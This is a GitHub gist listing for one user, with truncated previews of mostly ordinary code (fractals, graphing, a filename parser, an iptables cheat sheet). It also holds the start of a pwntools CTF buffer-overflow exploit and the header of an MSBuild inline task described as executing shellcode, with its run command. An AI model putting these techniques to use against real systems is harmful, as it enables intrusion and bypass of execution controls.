Skip to content

Instantly share code, notes, and snippets.

@Reboare
Reboare / gist:4144240
Created November 25, 2012 16:28
Mandelbrot Generator
import numpy as np
from scipy import misc
import math
import time
"""
MANDLEBROT GENERATOR
by Josiah Beverton
Many Thanks to:
@Reboare
Reboare / Graph_Generator.py
Created December 21, 2012 00:53
Waste of TIme
from numpy import array
import numpy as n
import pylab
def best_fit_line(x,y, color):
coefs = n.lib.polyfit(x,y,1)
fit_y = n.lib.polyval(coefs, x)
pylab.plot(x, fit_y, color)
Task4 = {}
@Reboare
Reboare / infer.py
Created December 29, 2012 18:59
Infer a movies attributes
'''
Infer a movies attributes by extracting data from the movie filename
@author: Josiah
'''
import re, datetime
from sys import argv, stdout
import logging
import os
extern crate collections;
use std::num::from_str_radix;
use std::fmt::radix;
use std::iter::{range_step};
struct HexMap {
data: Vec<Vec<u8>>
}
impl HexMap {
#https://www.cs.bham.ac.uk/~mdr/teaching/modules04/java2/TilesSolvability.html
import re
puzzles = []
with open('puzzles.txt') as f_puzzles:
r_puzzles = f_puzzles.read()
for x in re.finditer("Puzzle for",r_puzzles):
puzzle = r_puzzles[x.start():x.start()+132]
puzzle = [x[1:-1].split('|') for x in puzzle.split('\n')[1:] if '+' not in x and x != '']
from pwn import *
import struct
r = remote('ctf.sharif.edu', 4801)
#r = process('./vuln4')
first = r.recvuntil('find puts yourself')
'''
EIP+0 found at offset: 22
'''
x = 'A'*22
# ordinal=004 plt=0x080483a0 bind=GLOBAL type=FUNC name=puts
@Reboare
Reboare / README.md
Created February 13, 2018 14:56 — forked from FrankSpierings/README.md
Linux Container Escapes and Hardening
@Reboare
Reboare / linux_net_tcp.py
Last active October 29, 2023 14:29 — forked from sp3c73r2038/linux_net_tcp.py
a toolkit Python script looking into /proc/net/tcp
# -*- coding: utf-8 -*-
import re
import sys
def process_file(procnet):
sockets = procnet.split('\n')[1:-1]
return [line.strip() for line in sockets]
def split_every_n(data, n):
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
@Reboare
Reboare / IPTABLES-CHEATSHEET.md
Created August 18, 2019 20:08 — forked from davydany/IPTABLES-CHEATSHEET.md
IP Tables (iptables) Cheat Sheet

IP Tables (iptables) Cheat Sheet

IPTables is the Firewall service that is available in a lot of different Linux Distributions. While modifiying it might seem daunting at first, this Cheat Sheet should be able to show you just how easy it is to use and how quickly you can be on your way mucking around with your firewall.

Resources

The following list is a great set of documentation for iptables. I used them to compile this documentation.